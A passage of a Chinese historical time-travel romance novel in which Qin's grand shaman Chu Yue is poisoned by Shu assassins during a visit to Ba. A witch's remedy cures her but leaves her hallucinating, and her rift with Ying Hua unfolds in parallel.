嬴华说着,话势忽然一止,“失礼了,巴使见谅。” 巴使若有所思,“公子与夫人情谊深厚。” 接力棒很快传到楚越处,她望着面前一堆巴国特产,和不停偷偷抬头,打量她神情的商贾,装出副动容、爱不释手的模样。 次日,巴使便登门,开口便道:“夫人,巴国危急,还请夫人念在母国情谊,出手相助。” 入秦之前,巴使也听说过这位秦国这位大司巫,她在秦颇有影响力,原本他也想从大司巫入手,只是他来时,大司巫正在产子,深居简出,无缘得见。 “巴使在说什么,我怎么听不懂。” “我听说蜀王重金贿赂夫人,夫人不收,但有客商献给夫人巴国之物,夫人十分爱惜。” 楚越心中冷笑声,贿赂她当然不敢收,客商她付过钱的,但心里这么想,嘴上还是要道:“巴国蒙难,我心中亦是记挂,母亲生前,叮嘱我,有朝一日,一定要回到故乡。” 说到这里,她自嘲一笑,“多年羁旅,现已嫁做秦妇,生育子女,故乡远,记忆模糊,徒增伤感,不提也罢。” 话是假的,感情是真的。 她已经快想不起,现代长什么样子了。 巴使闻言,立刻起身,朝楚越一拜,“唇亡齿寒,巴国若亡,必遭蜀人蹂躏,还请夫人救巴国于水火。” 楚越叹口气,“我自当尽力。” 陷阱已经挖好,巴使已经跳入,楚越与嬴华带着珠珠入宫拜见秦王、王后,顺便向秦王汇报巴使一事,恰逢嬴疾也来向秦王汇报调兵之事。 秦军已经整编完成,只能王令一下,便可以出发。 见一切具备,秦王准备次日召见巴、蜀两国使者,正式援助巴国、向蜀国递交战书。 珠珠不认生,谁都能抱她一下,她实在有些重量,王后抱了一会,便手酸,摇头将她交给宫人,“好沉的孩子,比荡儿还要壮些。” 说是三个月,但实际已经五月有余,自然比一般的孩子要大,加上大胖丫头,也的确胖。 不止胖,还活泼,抱在怀里,像一尾鲤鱼,根本抱不住。 闻言,嬴疾不信,接过珠珠,掂了掂,“还真是,比一般男娃还重。” 嬴华笑了,“不止,力气还很大,前两天蹬了我一脚,比在战场上魏军踹得还狠。” 嬴疾不由对手中大胖丫头刮目相看,“果然不愧是大司巫的孩子,有其母之风。”说完,他举起珠珠,一圈圈的转。 大胖丫头很喜欢玩这样的游戏,笑的停不下来,嬴疾举了一会儿,也累了,嬴华正欲接过,却见嬴驷挽起了袖子,“来,让寡人也抱抱。” 他将珠珠举到空中,板着张脸对她道:“叫公伯。” 珠珠咧着嘴笑,笑着笑着,一只小手以迅雷不及掩耳之势,揪住了嬴驷王冠上的冕绳,众人都是一惊,楚越赶紧上前,掰开珠珠的手,将冕绳解救出来,嬴华将她抱走,轻轻在她手上拍了一下。 “大胆,那是大王,不可以冒犯。” 珠珠听不懂,照着嬴华的脸就抓了过去,嬴华闪得快,躲了过去。 赢驷扶正头上的王冠,轻轻在珠珠脸上拍了一下,“真是个调皮的小鬼,跟你娘一样。” 此话一出, 楚越脸上的笑容一僵,“王上。” 赢驷目不斜视,“总是珠珠,珠珠的叫,也不取个名字,孩子这么大了,当爹娘一点也不上心,是吧,珠珠。” 他语气满是责怪,看着珠珠,“来,公伯给你取个名字,宝珠者,莫过于随和珠,你就叫嬴随。” 回家的马车上,珠珠累的精疲力竭,没等到家,就在楚越怀中睡着了。怀中传来细低的呼噜声,楚越的眉毛当即拧了起来,“你怎么还打呼噜。” 跟谁学的? 难道是因为她听多了魏冉打呼噜? 难怪魏和跟她说,孩子的胎教十分重要,说什么‘周邑姜孕成王于身,立而不跂、坐而不差,独处而不倨,虽怒而不詈’【1】, 她捏了捏珠珠的鼻子,怀里孩子只是挣扎了下,没有任何清醒的打算。 嬴华将母子二人送回楚越的宅邸,楚越刚把珠珠放到床上,她便醒了,天色尚早,嬴华便留下来陪珠珠玩,楚越收拾东西,准备出征。 产假休完了,该继续给大秦打工了。 收拾完一切,已经是傍晚,疱人准备了嬴华的饭食,楚越也不能连顿饭都不让人吃,两人吃了一顿异常安静的饭。 吃过饭,珠珠还想玩举高高的游戏,她对自己的重量全无自知之明,楚越化身举重冠军,将她抛上抛下,累得满头大汗,她实在没力气了,珠珠还想玩,否则就嚎啕大哭。 楚越想给她一拳。 但忍住了。 她不断告诉自己,这是自己生的,以唤醒心底为数不多的母爱。 “来,阿父抱一抱。”嬴华接过珠珠,举了起来。 只一秒,大胖丫头的哭声便止住了,取而代之以咯咯的笑声。 楚越坐在案前,静静看着两人,眼皮忽然间有些酸涩。楚越闭上眼睛,这一闭,不知不觉间就睡了过去,半梦半醒间,头与手臂一错,猛然惊醒。楚越以为自己不过打了个盹,睁开眼睛却发现,窗外早已夜色深沉。 真让大胖丫头给她累着了。 坐着都能睡着。 肩头搭着薄毯,屋中空无一人,门窗大开,月色与晚风涌入屋中,就着微弱的烛光与朦胧月色,她看清地上一堆凌乱的人偶。 楚越愣住了,她愣愣的站了起来,小心翼翼的走近,终于看清那些人偶的模样。 能缠在手指的木头傀儡,丝绳腐朽,较大的人偶,丝织品褪色,藏在箱底的秘密与少女不可启齿的微妙情愫,重见天日。 她走出屋子,屋外长廊,嬴华抱着珠珠,坐在台阶上,月色皎洁,似要照亮天地。 他展开的五指上吊着个傀儡娃娃,珠珠目不转睛的盯着会动的人偶,不时看向赢华,大而黑眼里满是震惊。珠珠伸手抱出木偶,在嬴华怀中蹭了蹭,紧紧抓着娃娃,念念不舍陷入梦乡。 嬴华轻轻拍着珠珠的后背,哄她睡觉。 楚越在嬴华身边的台阶坐下,捡起散落一边的另一个稍大的木偶,“从哪儿找到的?” “我以为箱子里装的是珠珠的玩物。” 楚越紧紧捏着木偶,一言不发。 伐韩归来之后,楚越便问宫人要这几年收到的礼物的名册,果然找到了历年嬴华送给她的礼物,很多木偶人。她想了很久,才想起自己从前随口和他说了一句,喜欢玩傀儡。 那时候嬴华问她,什么是傀儡。 她便画给他看,他记住了,自己做了一个歪歪扭扭的木头人给她,收到第一个木偶的时候,还没有后来的事情,楚越很高兴,爱不释手,一直到那简陋的木头人散架。 嬴华成婚之后,她对宫人说,“以后,不要再让我看见任何关于公子华的东西,我不想知道,更不想见到。” 宫人遵令而行,那之后所有的傀儡人,都被装在了箱子里,直到楚越打开,才重见天日。木头人的工艺,从粗糙到精致,从小到大。 她拿起来最新的那个一个,宫人看了一眼她手中木偶,小心道:“下人送来时,还特意叮嘱,说他们家公子为了做这个木偶,伤到了手,一定要告诉您呢” 原来围猎时,他手腕上的伤,是 一遍一遍说的时候,他听不懂,等到听得懂,千言万语,全都不合时宜。 飞蛾扑火,越往近飞,火焰烧灼,得松开手,理性告诉楚越,火焰,太过灼人。 嬴华见她不说话,垂眸掩住眸中失落,“外面风大,你把珠珠抱回去睡觉吧。” 楚越没有接过珠珠,径直起身,进了屋,嬴华抱着珠珠跟了进来,发现楚越正在捡屋中那些木头人。 嬴华把珠珠放到床上,弯腰帮楚越捡东西,他们一个一个拾起那些木偶,好像要捡拾去那些无人问津的过去,木偶一个个被捡起,过去的岁月擦着嬴华的手背而过。 他终于感觉到了岁月中微妙的情愫。 时间越近,他眼前的景象越清晰,嬴华看到那些失之交臂的机会,可机会背后,楚越挫伤的黯淡目光越清晰。 在两人同时伸向同一个木偶时,嬴华抓住了楚越的手腕。 他想要,抓住一次。 “我没办法改变过去我也是真的想要娶你,那天,你说你恨我,恨不得我去死那不是恨,是爱。不是吗?” 他望着楚越,“物极必反,爱恨相生,你不是想说,你恨我,恨不得我去死,你想说,你爱我但我让你很伤心” “对不起,过去的事情,就让他过去吧,以后我会对你好。” 嬴华不懂如何向女子表明心意,只会对她说‘以后会对她好’。 楚越没有抬头,而是低声道:“嬴华,我不能回头的。” “我只能往前走,没有回头的选择,这些年,我活的很痛苦,我会想起死在我手中的魏人,想起因为我而死的韩人,想起无数因为我、受我影响,而命运改变的人。” “你身上,总倒映着那个幼稚的我,以为世事无不可行,觉得自己可以照着预想,顺利过往这一生。因为你,我才知道,原来我没办法控制一个人所想,人,是个不受控制的变量。” “那些不信鬼神的人,不会信我,有人会怀疑我,质疑我,我必须想办法,稳固自己的地位,让那些变量,对我的影响尽量减弱。” “你摧毁了我的世界,我的构想,我的爱情。” “我以为我恨的是你,其实,我也恨我自己,恨我自己的面目全非。” 楚越抬头,悲伤的望着嬴华,“我可以接受白起,因为我们都是往前走的人,但我不能接受你。我爱你,但这爱让我痛苦,我于是恨你,也只能恨你,恨你一生一世,恨不得你去死。” “你死了,便永远远离我,我就当做从前什么都没发生,我抹杀了那个愚蠢的、令人厌恶憎恨的自己。” 身后那扇门彻底关了,嬴华慢慢转过身,并没有急着离开,他坐在台阶上,仰望天空圆月,楚越坐在门后,抱住双腿,将脸深深埋进膝盖。 产假修完,楚越将孩子交给王后照料,自己则从军出征,嬴华不放心 楚越,但事关秦军对外征战,楚越自己也决定前往巴蜀,细思之下,决定以秦公子的身份,陪同夫人省亲,同往巴国。 巴国使者自然欢迎。 入蜀之路艰难,新开辟的石牛道,不如一般秦道宽阔,楚越望着道路两边陡峭的山崖,脑海中想起了李白的蜀道难。 噫吁嚱,真难走啊。 巴王收到使者消息,得知秦大司巫楚越与巴国联系,又闻此番秦国出兵,她出力不少,此时将携夫婿,秦王弟公子华归巴省亲,当即派出太子,出城几十里迎接。 双方分主宾见礼,巴太子道:“大司巫与公子远道而来,我父王特遣小子前来迎接。” “有劳太子。” 此去都城,还有一段距离,一行人原地修整,巴太子将楚越与嬴华引至巴王行宫,暂作休憩,巴蜀多温泉,行宫中有汤池,温泉水暖,楚越全身浸入热水之中,一身疲乏,顿时烟消云散。 公费来四川旅游,爽。 要是坐的是高铁,不是马车就更好了,要是这儿有火锅就更好了,可惜辣椒还没传进来。 泡完温泉,楚越披着一头湿漉漉的头发回到寝室,捡起块干的布帛,折起长发,裹在巾帛中,细细擦了起来。 第49章 菌子这药里绝对有菌子 屋外传来阵脚步声,紧接着,嬴华的声音响起,他对宫人道:“夫人喜静,你们无事,不要靠近。” 房门打开,楚越抬眸,两人对视一眼,又不约而同收回视线,各干各事。 楚越将头发擦到不再滴水,便好奇研究起桌上放着的诸多漆盒。 与其说是化妆品,不如说像是颜料。 蜀国女子的装扮,和秦国,大有不同,楚越研究半天没研究明白这些蜀国化妆品的用处,正欲放下时,又被漆盒外的花纹吸引,巴蜀之地的文化,与中原不同,自成一派。 专业病一时犯了。 复原的图零零碎碎,哪有拿在手上,直接近距离欣赏给人的感触更强。 楚越看完漆器上的花纹,又将视线投向屋中摆放的陶器。 嬴华沐浴归来,见楚越正蹲在地上,歪头观察屋角一个半人高的陶瓶,他一时好奇,凑上前,顺着她的视线,看了起来。 “你在看什么。” “看花瓶啊。” “这有什么好看的。” “你不懂。” 两人一问一答,话说完,他们才又后知后觉反应过来,这是多熟悉的一幕。很久之前,就在两人之间上演过一次。 少年楚越的注意力,总和同伴不在一起,同伴们玩闹,她却会独自跑到角落,盯着一样或者几样寻常的东西,全神贯注,仿佛那是什么宝贝。 嬴华总能在人群中,一眼看到那道与众不同的身影。 “你在看什么?” “你不懂。” 楚越回过头,嬴华的脸,近在咫尺,十数年过去,岁月并未在他脸上留下任何痕迹,仅洗去少年的青涩与稚气,五官挺拔,眉宇之间,英气盎然。 他还是如以前一样,望着她。 短暂一瞬,她心内不由恍惚。 去往都城的路上,楚越一路见到许多小土台,巫师祭祀、百姓祈祷,可见巫风在此地影响之大。 巴王在朝堂上召见了楚越与嬴华,嬴华递上国书,巴王阅过后,大喜,“秦国出兵援助巴、苴,大司巫归宁,秦公子赴巴,实在是喜上加喜,本王在宫中设宴,款待二位。” 宴会盛大隆重,巴国上下贵族,齐聚一堂,巴乐激昂,三十多名舞者披盔甲,手持矛、弩箭,口唱战歌,乐舞交作,边歌边舞,欢歌快舞之中,隐约杀气肃然。 巴人矫健好武,巴渝舞是巴人在同猛兽、部族斗争中发展起来的一种集体武舞,故而带着杀气,汉代时,正式成为宫廷乐舞。 巴王、太子、大臣们敬酒不断,楚越的脸,很快红了起来,就在歌舞正盛,众人兴头正高之际,几名舞者对视一眼,点点头,忽然从袖中掏出弩箭,迅速安在手中弩机,而后举起,对准楚越与嬴华方向。 刺客的动作很快,一切发生在片刻之间,楚越反应迅速,一把摁倒嬴华,但这么近的距离,弩箭的威力被发挥到了最大,钉穿两人用来遮挡的几案。 肩背一阵剧痛传来,疼的楚越眼前一黑。 嬴华扶起身上楚越,殷红的鲜血,从她肩胛涌出,他来不及检查楚越伤势,刺客发完弩箭,又朝二人奔来。 他们挥剑砍倒面前挡着的守卫,眨眼间,便杀到了面前,因是宫廷宴会,与会者不能携带武器,嬴华赤手空拳,独面三个带剑的刺客。 嬴华抓起桌面的青铜酒樽,猛地砸向其中刺客的头,刺客顿时头破血流,他趁势一把抓住刺客手腕,两记肘击,剑便落在了他手中,他举剑,抬手一拉,鲜血飞溅间,刺客的身躯缓缓倒下。 余下两个刺客见嬴华如此骁勇,一拥而上,三人纠缠在一起,楚越撑着爬起来,回头看向自己痛意越来越明显的肩胛,伤口周围,已经发黑。 “毒有毒嬴华”楚越嘴唇发青,费力道:“剑上可能有毒。” 玩不起。 派刺客就算了,还在武器上下毒。 她话音未落,眼前便落下一只鲜血淋漓的手,刺客见她没死,一个缠住嬴华,另一个上前补刀,嬴华反应不及,情急之下,一把抓住了剑身。 “毒” 好。 团灭。 秦灭巴国的理由不会真有‘使者死于巴’这一条吧。 生命的最后一刻,可能真的快来了,楚越决定再加深一下昨天晚上看到的漆器图案,论文,都是论文,都是可以发的论文。 不白来,能发点是一点。 “快救秦使。”巴王大骇,杀一国使者,犹如对一国宣战,秦使若是在巴国出了事 卫士鱼贯而入,将两个刺客扎得千疮百孔。 眼前越来越黑,身躯最终倒入一个结实的怀抱,意识消退的最后一瞬,楚越还在告诫自己,一定要记住那些花纹! 嬴华及时接住楚越倒下的身体,大喊道:“医师!医师在哪儿!” 和蜀国勾连的内奸,很快被查了出来,巴王气愤的要将他们剁成肉酱,丢进江中当打窝仙人,嬴华拦住了他,强压怒气,对一圈阶下囚道: “交出解药,留你们全尸。” 阶下囚们,无一人发声。 巴王大怒,“来人!” 王宫的巫医,日夜守在殿中,商议解毒之法,楚越躺在被中,听外面人争论,有人提议以草木解毒,有人觉得应该以毒攻毒,但当嬴华一问,可行性有多大,所有人都不说话了。 合着拿她当小白鼠呢。 楚越绝望闭上眼睛。 没死,但离死也快了,她可以明显感觉到,毒素在体内蔓延,清醒的时间越来越短,头越来越重,一丝力气都没有,痛意从肩胛蔓延,顺着经络血脉,一点点铺开。 该死的刺客,行刺就算了,准头还不行,给她疼晕了。 也不在武器上涂点好毒药,见血封喉,非要这么折磨她。 落后的时代,连点提纯的毒都没有。 楚越越想越气,又睁开了眼睛,“我要蜀人死!” 嬴华轻轻进屋,见她还能骂人,面上凝重才稍稍减弱,他走上前,在她床边坐下,伸手将被子往上拉了拉,“好了,别说话了。” 楚越低头,见嬴华手上绷带缠绕,“剑上没毒吗?” 嬴华垂眸,“没有。” “那我要是死了,你帮我照顾好孩子,虽然,她不是你的孩子,但是,好歹我是为了救你而死的。” 嬴华要是出事,她也不用回秦国了,但现在就是,嬴华没事,她要有事了。 “别说这些,巫医们正在想办法。” 巫医们束手无策,巴王无奈,只能在国中张贴布告,能有医治秦使者,赏千金,封高爵。 一个瞎眼的老巫婆揭下了布告,在弟子的搀扶下,带着自己的祖传医术,出现在嬴华面前。 “你用什么方法治?” 老巫婆颤颤巍巍从袖中取出了一个发黑的银盒,“公子听说过蛊吗?我这蛊,是万蛊中练出的一只蛊王,以毒为食,能解百毒。” 嬴华没有说话,只是解开手上绷带,露出掌心一道已经发黑的伤口,“很多巫医都跟我说自己能解毒,但最终都无功而返,耳听为虚,眼见为实。” 屋中不知何时,弥漫起一股香味,楚越闻到烟气,咳嗽声,沉沉睁开眼睛,她正靠在嬴华怀中,头搁在他肩头,肩上痒痒的,似乎有什么东西在爬。 她动了一下,却被嬴华更紧的抱住,“别动。” 烟雾吸入肺腑,眼前景象,逐渐旋转,她的意识,开始模糊不清。 朦胧间,她又看到了梦中那张不曾看清的朦胧面容,少年站在岸边,追随着她船漂流的方向,一路不舍。 歌声悠扬,飘荡在碧空之下,“蒹葭苍苍,白露为霜,所谓伊人,在水一方【1】。” 身边的人都在笑,楚越不明就里,忽然有人对她道:“王姬,那公子在向你示爱呢,他喜欢你。” 王姬? 终于轮到她中彩票了?虽然不是个什么大奖,东周的王姬 但五十块一百块也是奖,苍蝇再小,也是块肉。 楚越听见了自己的声音,夹杂着喜悦,“那你问他,他是谁。” 身边人大声道:“你是谁啊?” “我是” 在他即将说出自己身份时,船忽然剧烈摇晃起来,狂风大作,吹起滔天巨浪,楚越心中一阵恐慌,但这恐慌并非来源于环境,而是来源于岸边少年。 巨浪起伏间,少年身影,若隐若现,就要消失不见 她急了,连忙问那少年,“你是谁啊。” 风浪掀翻小船,她坠入水中,想象中溺水的感觉并没有出现,她反而能在水中呼吸。 楚越在湖底走了一段距离,眼前忽然开阔,场景变换,她又站到了宫檐下,那张模糊的脸,在眼前清晰,“我是公子华。” “你是谁?”嬴华问她道。 “我是楚越啊。” “楚越是谁?”少年嬴华脸上,满是困惑。 楚越‘嗯?’了声,低头一看,确认自己的年纪,是已经长大,而非尚小,与他素不相识。 他怎么会不认识她。 楚越困惑环视四周,发现自己虽然在宫檐下,却并非当日卫夫人惩罚她的宫檐,而是,秦国宣室殿的宫檐。 一切分明那么熟悉,但又十分陌生。 正在她思索之际,周围忽然烫了起来,头顶阳光越来越烈,周围一切,被灼热的阳光照得发白,火,从地面冒了起来,熊熊火焰,将她团团围住。 楚越很怕火,一看到火,她就不由自主联想到火焰烧灼皮肤的痛感,分明在远处,可是感觉却那么清晰。她总是和火保持着一定距离,不得已接触时,也万分小心。 可现在,四面八方都是烈火,她怎么跑,都跑不掉。 剧烈的疼痛,从全身袭来,楚越痛苦的哀嚎,泪水从眼角滚落,“火,不要烧我不要烧我” 嬴华面露不忍,却依旧听从老巫的话,紧紧抱住她,“别动,很快就好了。” 老巫割开她的手臂,一股黑血流了出来,滴进提前准备的银盆中,流了一会儿,血的颜色渐渐变淡,楚越也慢慢安静下来。老巫帮她包扎好伤口,叮嘱道: “这几天,她会一直神志不清,等到毒彻底清除,她才会恢复清醒。” “你要看住她,不要让她乱跑。” 中药苦涩,楚越强忍着恶心将药喝下去,最后一口时,恶心的感觉到达巅峰,胃中一阵翻滚,刚喝下去的药,从口鼻中,逆流而上。 难闻的药气在空气中弥漫,嬴华镇定的站起,黑褐色的药汁,顺着他的衣袖边缘,滴滴落下。 楚越有些尴尬,“你先去换件衣服吧。” “嗯。我很快就回来。” 宫人重新端来一碗药,楚越咬牙一饮而尽,她捂着胸口,轻躺回床上。 床帏,忽然冒出火花,楚越吓得浑身一颤,掀开被子跳到了地上,火却仿佛长了眼睛,追着她而来。 火当然不会有眼睛,好端端的屋子,更不可能忽然起火,那么药里不会有菌子吧。 宫人听到殿中声响,前来查看。 楚越看见,一个浑身冒火的小火人,步步朝她逼近。 庸医真在药里放菌子啊?! 只要不是真的火,是幻觉就行,宫人上前搀扶,楚越的手刚沾到宫人,便陡然缩了回去。 好烫。 跟真的火一样。 楚越‘嘶’的吸了口气,这菌子好毒啊,不会真用的是以毒攻毒之策吧。 地上的火,步步紧逼,身边的小火人,满脸担忧,想要靠近,楚越赶紧抬手,制止她接近自己。 “别过来。” 她这么一喊,宫人更紧张了,“大司巫,你没事吧。” 身边围着的人越来越多,烧灼的感觉,从四面八方涌来,她无奈,只得一招声东击西,从小火人的缝隙间溜走。 幸好,那一箭是扎肩上,没扎腿上。 嬴华换完衣服回来,殿中空空如也,宫人焦急道:“公子,大司巫跑出去了。”他一听,顿时急了,“往什么方向去了?” 月光灈清,照亮楚越逃跑前路,她甩掉身后小火人,又躲避迎面而来的小火人,嬴华找不到她,去见了巴王,于是,整座宫殿都动了起来。 楚越慌不择路,跑到了一处无人高台,她蹲在台下,一声不敢吭。 死菌子,药效快点过去! 巴王与嬴华几乎将整个巴宫翻了个遍,却依旧没找到楚越,士卒回禀,“大王,宫中各处都搜过了,唯有” “唯有何处?”嬴华追问道。 “唯有祭神台。” 巴王一听,当即道:“不可。” 嬴华看了巴王一眼,目光变得锐利,“为何不可?” “祭神台乃是巴国重地,在宗庙之中,用来祭祀天神所在,外人不可擅入。” 嬴华怒道:“若是她出了什么事,你觉得,你巴国的社稷,还能保存吗?天神,能保佑你们吗?” “秦使大胆!”巴太子呵斥道:“你是要威逼我父王吗?巴国虽小,却也不容人如此侮辱。” 嬴华怒极,可楚越还不知所踪,他只能压下心中沸腾怒火,对巴王道:“大王恕罪,在下一时情急。” “我夫人是为了巴国而来,也是因为巴国,遭到蜀人暗算,难道在巴王眼中,她还是外人吗?我与夫人结缡,夫妻一体,自然也不算外人,怎会惊扰神灵。” 此话一出,巴太子的面色才和缓,但他还是道:“虽然如此,但大司巫非我姬氏女,公子还是不能进。” 巴王抬手,制止了太子,“我儿退下,公子,请。” “来人,开门。” 忽然,有人指着高台上道:“在那儿!” 众人顺着那人指的方向望去,但见祭神台上几座大鼎之间,隐约有个人影,楚越见自己被发现,望着脚下一堆小火人,无奈笑了。 别追了别追了。 菌子药效还没过去。 嬴华见状,顾不上身边人阻拦,直奔祭神台而去,楚越见有人要上来,当即站起来,对他道:“别上来。” “楚越。”嬴华已经快要登顶,却因为楚越这番话,停了下来,他站在不远处,担忧望着眼前人。 倏而乌云遮盖月亮,天地间陡然陷入片黑暗,光线一暗,嬴华身上的火也随之消失,楚越往前走了一步,小心翼翼伸出手,飞快在嬴华身上碰了一下。 常温。 她悬着的心这才放下。 “你让那些医师给我吃什么了!”楚越气不打一处来,“我看到到处都是火,吓死我了。” “你吓死我了。”嬴华长舒口气,擦掉额头汗水。 月光穿过云层,天地骤然为之一明,明暗交织,嬴华的脸,在月光下,熟悉而陌生。嬴华盯着楚越的瞳孔,也渐渐收缩。 他几乎是不受控制般,朝她走了过去。 楚越望着嬴华,记忆中那种强烈的似曾相识的感觉,再度萦绕心头。这种强烈的感觉,催生心中 埋藏已久,快要被遗忘的困惑。 他是谁? 为什么,为什么会有这种感觉。 她好像,在哪里见过他。 答案固然重要,可是在看见他一瞬,又似乎不再重要。 月光一亮起,火焰再度腾了起来,嬴华忽然伸手,抱住了楚越,强烈的灼烧感,从他们接触的每一寸皮肤传来,她发出一声尖锐的叫声。 “火” “好大的火。” 嬴华惶恐的松开手,楚越抱住自己手臂,痛苦不已,身体佝偻。 菌子又开始发力了。 台下巴国众人见状,大惊失色,一个巫师颤抖着指向台上楚越,“是王女,王女回来了。” 一直镇定的巴太子也‘啊’了声。 月光下,被发跣足的年轻女子,痛苦蜷缩,台下众人,纷纷下跪。 /:. 楚越望着台下连片跪拜的巴人,看来论文真的没写错,上古巫术还真可能起源于植物的致幻,吃菌子的人感觉太强烈,别人也真信了。 菌子大神威武。 烈火烧了她三天,药效才退去,楚越再站到人前,明显发现巴人们看她的眼神都变了。巴后亲自探望,眼中带泪。 楚越很无语,但不好不给巴后面子。 嬴华显然十分好奇,询问巴后道:“贵国还有王女?” 巴后点头,“是,我王唯有一女,名荷。” “她不仅是王女,也是巴国大祭司,十七年前,她十六岁,在宗庙中,占卜出巴国国运不畅,自愿以身为牲,祭祀天神,保佑巴国社稷,千秋万载。” 楚越听闻,心陡然颤了下,都到战国了,还有这么野蛮的祭祀方式,烧活人? 王女已死,自愿还是不自愿,无人得知,烈火焚身,何其痛苦。作为害怕火的人,楚越光想一想,便觉得不寒而栗。 “那天在祭坛上,巫师说,是我儿显灵了。”巴后望着楚越,泪眼婆娑。 “王后节哀。”楚越劝道,“王女,是为了社稷” 巴后含泪笑道:“是。” 楚越遇刺一事,更恶化了秦蜀矛盾,也是蜀国虚弱的表现,前线无力,只能出邪门歪道。 前线捷报频传,楚越一边养伤,一边了解蜀国情况,因为是蛮夷,中原对蜀国的记载不多。 而今蜀国已经传到了开明王朝,是古蜀第五王朝。 前面还有四个王朝,两句诗可以连起来。 第一句,蚕丛及鱼凫,开国何茫然。 蚕丛王开国,是第一王朝。传位柏灌,开辟第二王朝。鱼凫王取代蚕丛王朝,建立起第三王朝。 第二句,望帝春心托杜鹃。 望帝杜宇,又取代蚕丛,建立起第四王朝。 最后就是杜宇王朝的丞相鳖灵,取代杜宇,建立开明王朝,之后历代蜀王,都号开明,而今在位的,是开明十二世。 秦军对蜀国作战十分顺利,很快便杀蜀王开明十二世及其太子,巴国的大患消除,朝堂上喜迎秦军的声音渐渐淡去,一些异音响起。 “大王要小心防范秦军,秦灭蜀,势头正盛,万一回锋,将对我国不利,还请大王早做防范。” 巴太子觉得有理,也劝巴王要小心防范。 得知此消息,楚越和嬴华对视一眼,次日嬴华便在朝堂上为楚越抱起不平。 “胡说,我夫人为巴国,遭蜀人毒害,至今昏迷不醒,你却在朝堂上,离间秦巴之谊。大王,我秦国本不愿出兵,一则援巴,于秦国无利,将士平白死伤,二则远离秦土作战,危险重重。我王之所以同意出兵,全因我夫人,巴王若信此人之言,恐令我夫人伤怀。” 楚越掐了自己一把,在前来探望她的巴后面前,泪流不止,“我归巴,不过为母亲遗愿,但愿能促成秦巴之好,使我双亲在天之灵,能得慰藉。” 脸上泪水簌簌而下。 疼啊。 真疼。劲儿使大了。 第50章 姬荷嬴华应该又找错人了 月色苍流,几番风动,吹散夜空乌云,清辉洒满馆驿,眼前大片清荷,一览无遗,随风摇曳。 楚越斜倚在栏杆边,伸手勾住一朵莲花,深深一闻,什么味道都没有 她恨菌子。 长廊尽头传来阵很轻的脚步声,嬴华引着老巫,朝她走来,面前两道人影模糊,楚越用力看了嬴华一眼,目光才投向他身后老巫,微微蹙眉,以示困惑。 嬴华解释道:“这位老媪,不要千金,不要高爵,只想问你几句话。” 楚越挑眉。 她的话,什么时候这么值钱了,能抵得上千金?一字千金的典故速速让给她。 毕竟是救命恩人,楚越恨菌子,因为菌子让她的五感都在慢慢减退,起初是看东西有些模糊,现在已经闻不到气味,听力、触觉,都在慢慢衰弱。 据说是后遗症,和神志不清,看到小火人是一样的,慢慢会好。 但好歹,命保住了。 多好的提前退休借口!塞翁失马焉知非福! 楚越想进屋招待救命恩人,谁料才往前走了两步,便脚下一软,老巫虽然年纪大,但反应迅速,一把扶住了楚越,可她毕竟是个老年人,被楚越撞得脚下歪斜,差一点,两人就一起摔到了地上。 还是楚越反应了过来,又拉住老巫。 可不敢撞老年人! 楚越站稳,立刻跳开离老巫半米,扶住嬴华的手,“老媪。你没事吧。” “无碍,夫人要当心。” 楚越悬着的心才放下,好险! 两人进入屋中,婼亲自为老巫拿来席子,面对楚越所中之毒,医术浅显的婼束手无策,老巫不仅救了楚越,还传授了她一些医术,婼十分感激,十分尊敬老巫。 嬴华扶着楚越坐下,正欲落座,却听老巫道:“我想单独对夫人说。”他看了楚越一眼,“好。” 婼也跟着嬴华离开屋中。 “老媪想问什么?” 一只干枯的手,伸到桌案上,慢慢朝楚越摸索过去,“我刚才摸到了大司巫的骨头,可否让我再摸一摸你的手。” 楚越犹豫了下,但自己身上吃菌子的后遗症还未减退,需要老巫诊治,即便现在不让她摸,将来也会接触到,不如现在两人将话说开。 她将手放在了老巫手中,“老媪摸便是。” 老巫的手干枯,却十分柔软、温暖,她细细摸过楚越手上每一根骨头,摩挲过她掌中纹路,震惊与感慨的声音,从她口中发出。 “天啊。” 楚越困惑道:“老媪摸到了什么?” “我第一次摸到活的尸体。” 楚越浑身一震,迅速抽回手,涣散的目光凝聚,警惕打量着眼前人,“老媪在说什么,我怎么听不懂。” “老身在说什么,别人或许不明白,但是大司巫一定知道,大司巫放心,老身并没有恶意,只是照实说罢了。” 这老巫真有点本事。 楚越往后挪了挪,余光不断瞥向右手边不远处,如果她记得没错,剑就放在那个位置。 她是真借尸还魂,怕的就是这种真能看出点什么的人。 这不科学。但自己也不科学 “我知道大司巫要来做什么,秦人,是来毁灭巴国社稷的。” 恐惧,渐渐遏住楚越的呼吸,那种被看穿一切的感觉,让人后背发凉。 她甚至开始怀疑,自己不是吃了菌子 猜忌在恐惧催化下,越滚越大。 “你知道?你还知道什么?” “我当然知道,十七年前,就是我占卜出巴国社稷危亡,有宗庙倾覆之危。”老巫平静道。 “哦?”楚越抬眸,望向老巫,她按下心中恐惧与猜忌,用一种淡然的口气道:“占卜出,又能怎样呢?我也知道,甚至不需要占卜,就能知道天下的走向,提前知道,又能怎么样?” “巴国地方不过百里,蜀、楚、秦三争之地,你就算在十七年前算出来,我秦军今天来,是要灭亡你巴国,又怎么样?” 老巫笑了,语气却怅惘,“是啊,能怎么样?今秦地方千里,兵员数百万,战车万乘,良将如云,猛士为之效死,若秦有心亡巴,巴国没有还手之力。” “你既知晓天命,就该顺天意而为之。”楚越劝道。 老巫摇头,“秦大巴小,但即便是螳臂当车,巴人也会奋战到流尽最后一滴血。巴国绝不会这 么轻而易举的投降,秦若要攻巴。巴人,唯死而已。” 见对方态度如此强硬,楚越再按耐不住内心杀意。 老巫似乎想到了什么,安抚楚越道:“大司巫也不必多虑,我既救你,就断然不会害你,蛊虫以毒为食,自身带毒,一段时间过后,大司巫身上的症状就会消失。” 楚越显然不信,害怕对方是缓兵之计,真信了,等到毒入肺腑再反应过来,岂非完蛋! “你既然知道这么多,又为何要救我?杀了我,难道不是更好吗?” “我为报恩。” 楚越蹙眉,“我何时救过你。” “不是你,是因为那位秦公子。” “二十年前,我还是巴国的一名小祭司,国内大旱,我们想尽办法求雨,都没有结果。有人提出,献祭人牲,我,不幸被当时的大祭司选中。” “生死一线之际,是王女救了我,她对大王说,有神女入梦,告诉她,五日之后,天必有大雨。大王半信半疑,王女说,五日之后,若无雨,她愿为人牲。” “五日之后,雨真的下了,我因此逃过一劫,而王女也因为神女入梦的预言,成为巴国大祭司。” 